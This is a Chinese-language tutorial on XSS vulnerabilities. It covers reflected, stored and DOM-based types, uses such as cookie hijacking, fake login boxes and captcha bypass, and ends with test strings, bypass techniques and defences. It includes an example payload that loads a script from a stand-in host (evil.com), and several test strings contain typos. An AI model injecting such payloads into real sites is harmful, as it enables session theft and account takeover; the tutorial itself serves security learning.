XSS漏洞

xss 跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)缩写混淆,所以将跨站脚本攻击缩写为xss。

漏洞原理

xss就是攻击者在web页面插入恶意的Script代码,当用户浏览该页时,嵌入其中web里面的Script代码会被执行,从而达到恶意攻击用户的特殊目的。

分类

反射型XSS(非持久型)

把用户输入的数据“反射”给浏览器(诱使用户点击恶意链接)

将包含XSS代码的恶意链接发送给目标用户,当目标用户访问该链接时,服务器接受该目标用户的请求并处理,然后把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本,就会触发XSS漏洞。

存储型XSS(持久型)

把输入数据“存储”在服务器。有很强的稳定性。

攻击者在发帖的过程中,将恶意脚本连同正常信息注入帖子内容,被服务器存储下来,恶意脚本也永久地被存放在服务器。其他用户浏览这个被注入了恶意脚本的帖子,恶意脚本就会在他们的浏览器中执行。

DOM Based XSS(特殊类型的反射XSS)

不需要经过后端,它是在浏览器解析渲染服务器源码的时候产生的,所以我们在抓包的过程中是看不到dom型xss有关的内容的(WAF无法防护)

通过修改网页节点形成XSS。基于DOM文档对象模型的一种漏洞。

DOM-based XSS漏洞是基于文档对象模型Document Objeet Model 的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态的访问或者更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些事用户可以操作的.客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格的确认,就会产生DOM-based XSS漏洞。

XSS的利用

XSS不只是弹窗,弹窗只是测试XSS的存在性。

payload:通过插入javascript代码,控制浏览器,完成各种具体功能.

cookie劫持

通过读取浏览器的cookie对象,攻击者可以不通过密码,直接登陆进入用户的账户.

可以先加载一个远程脚本,例如:

1
http://www.a.com/test.htm/?abc="><script src=http://www.evil.com/evil.js></script>

构造GET与POST请求

XSS钓鱼

为了窃取密码,利用javascript伪造一个登录框,用户输入之后,密码被发送到黑客的服务器上.

XSS验证码绕过

通过读取页面内容,将验证码的图片url发送到远程服务器,攻击者在远程服务器接受当前验证码,并将验证码的值返回给当前XSS payload,从而绕过验证码.

识别用户的浏览器

通过XSS读取浏览器的UserAgent对象.

但UserAgent可以伪造,可以通过另一种方法,更准确的识别用户浏览器版本.

分辨浏览器不同版本之间的差异,从而识别成功.

识别用户安装的软件

通过判断ActiveX控件的classid是否存在,来推测用户是否安装了该软件.

1
2
3
4
5
6
try{
var Obj=new ActiveXObject('XunLeiBHO.ThunderIEhelper');
}
catch(e){
//异常
}

收集常见软件的classid,扫描用户电脑中安装的软件列表.

识别浏览器安装的插件和扩展

判断用户是否访问某个网站

style的visited属性,访问过的链接,颜色会变化.

获取真实IP

借助第三方软件,比如客户端安装了Java(JRE)环境,那么可以通过调用JavaApplet接口获取客户端本地IP

蠕虫

XSS蠕虫

条件:用户之间发生交互行为的页面,如果存在存储型XSS,则容易发起XSS Worm攻击.

XSS构造技巧

常用测试语句

1
2
3
4
5
6
7
<script>alert(1)<script/>

<img src=x oneorrer=alert(1)>

<svg onload=alert(1)>

<s herf=javascript:alert(1)>

绕过方式

  • JS编码
  • HTML编码
  • URL编码
  • 长度绕过
  • 标签绕过(标签闭合,标签优先性)
  • window.name利用
  • Flash XSS
  • 利用Javascript开发框架漏洞
  • 利用浏览器差异
  • 关键字、函数

防护方法

  • 过滤输入的数据,非法字符
  • 对数据进行编码转换
  • 添加HttpOnly
  • 输入合法性检查
  • 白名单过滤标签
  • DOM XSS防御